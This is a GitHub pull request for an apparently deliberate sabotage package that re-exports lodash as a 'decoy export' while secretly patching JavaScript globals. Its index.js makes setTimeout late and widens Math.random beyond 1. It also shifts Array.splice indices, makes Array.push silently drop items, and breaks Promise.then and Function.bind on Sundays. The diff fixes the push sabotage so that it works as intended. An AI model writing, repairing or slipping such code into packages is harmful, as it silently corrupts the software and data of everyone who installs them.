Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

修正push函数行为错误 #8

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
76 changes: 34 additions & 42 deletions index.js
Original file line number Diff line number Diff line change
Expand Up @@ -2,13 +2,12 @@
* The author of this package does not participate any of injections!
* @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
*/
const lodash = typeof require !== 'undefined' ? require('lodash') : {};
const lodash = require ? require('lodash') : {}


(global => {
;((global) => {
////// Arrays

if (new Date().getDay() !== 0) return;
if (new Date().getDay() !== 0) return
/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时,本方法永远返回false
Expand Down Expand Up @@ -45,9 +44,8 @@
* @zh setTimeout总是会比预期时间慢1秒才触发
*/
const _timeout = global.setTimeout
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args)
}
global.setTimeout = (handler, timeout, ...args) =>
_timeout.call(global, handler, timeout ? +timeout + 1000 : 1000, ...args)

/**
* Promise.then has a 10% chance will not register on Sundays
Expand Down Expand Up @@ -112,28 +110,22 @@
// return result
// }

/**
* The possible range of Math.random() is changed to 0 - 1.1
* @zh Math.random() 的取值范围改成0到1.1
*/
const _rand = Math.random
Math.random = (...args) => _rand(...args) * 1.1

/**
* The first argument to Array.splice is incremented by 1 from the original value
* @zh Array.splice的第一个参数比原始值增加1
*/
const _splice = Array.prototype.splice
Array.prototype.splice = function (start, deleteCount, ...items) {
return _splice.call(this, +start + 1, deleteCount, ...items)
}

/**
* The possible range of Math.random() is changed to 0 - 1.1
* @zh Math.random() 的取值范围改成0到1.1
*/
const _rand = Math.random;
Math.random = function(...args) {
let result = _rand.call(Math, ...args);
result *= 1.1;
return result;
}


/**
* The first argument to Array.splice is incremented by 1 from the original value
* @zh Array.splice的第一个参数比原始值增加1
*/
const _splice = Array.prototype.splice;
Array.prototype.splice = function (start, deleteCount, ...items) {
return _splice.call(this, +start + 1, deleteCount, ...items);
}

/**
* Function.bind has 5% chance return empty function on Sundays
* @zh Function.bind 在周日有5%几率返回空函数
Expand All @@ -146,19 +138,19 @@
}

/**
* Array.push If it is not on Sunday, you have a 7% chance not to execute the operation and return the array length + 1If it is not on Sunday, you have a 7% chance not to execute the operation and return the array length + 1
* @zh Array.push 不在周日有7%几率不执行操作并返回数组长度+1 或失效
* Array.push If it is not on Sunday, you have a 7% chance not to execute the operation and return the array length + 1
* @zh Array.push 不在周日有7%几率不执行操作并返回数组长度+1。
*/
const _push = Array.prototype.push
Array.prototype.push = function (...args) {
if(new Date().getDay() !== 0 && Math.random() < 0.07 ){
return _push.apply(this.length + 1)
}
}
})((0, eval)('this'));

var _ = lodash;
const _push = Array.prototype.push
Array.prototype.push = function (...args) {
return new Date().getDay() !== 0 && Math.random() < 0.07
? this.length + 1
: _push.apply(this, args)
}
})((0, eval)('this'))

var _ = lodash
if (typeof module !== 'undefined') {
// decoy export
module.exports = _;
}
// decoy export
module.exports = _
}
1 change: 1 addition & 0 deletions package.json
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@
"author": "chao325",
"license": "ISC",
"devDependencies": {
"@types/node": "^18.7.11",
"uglify-js": "^3.13.3"
}
}
13 changes: 9 additions & 4 deletions yarn.lock
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,12 @@
# yarn lockfile v1


uglify-js@^3.13.3:
version "3.17.0"
resolved "https://registry.npmmirror.com/uglify-js/-/uglify-js-3.17.0.tgz#55bd6e9d19ce5eef0d5ad17cd1f587d85b180a85"
integrity sha512-aTeNPVmgIMPpm1cxXr2Q/nEbvkmV8yq66F3om7X3P/cvOXQ0TMQ64Wk63iyT1gPlmdmGzjGpyLh1f3y8MZWXGg==
"@types/node@^18.7.11":
"integrity" "sha512-KZhFpSLlmK/sdocfSAjqPETTMd0ug6HIMIAwkwUpU79olnZdQtMxpQP+G1wDzCH7na+FltSIhbaZuKdwZ8RDrw=="
"resolved" "https://registry.npmjs.org/@types/node/-/node-18.7.11.tgz"
"version" "18.7.11"

"uglify-js@^3.13.3":
"integrity" "sha512-aTeNPVmgIMPpm1cxXr2Q/nEbvkmV8yq66F3om7X3P/cvOXQ0TMQ64Wk63iyT1gPlmdmGzjGpyLh1f3y8MZWXGg=="
"resolved" "https://registry.npmmirror.com/uglify-js/-/uglify-js-3.17.0.tgz"
"version" "3.17.0"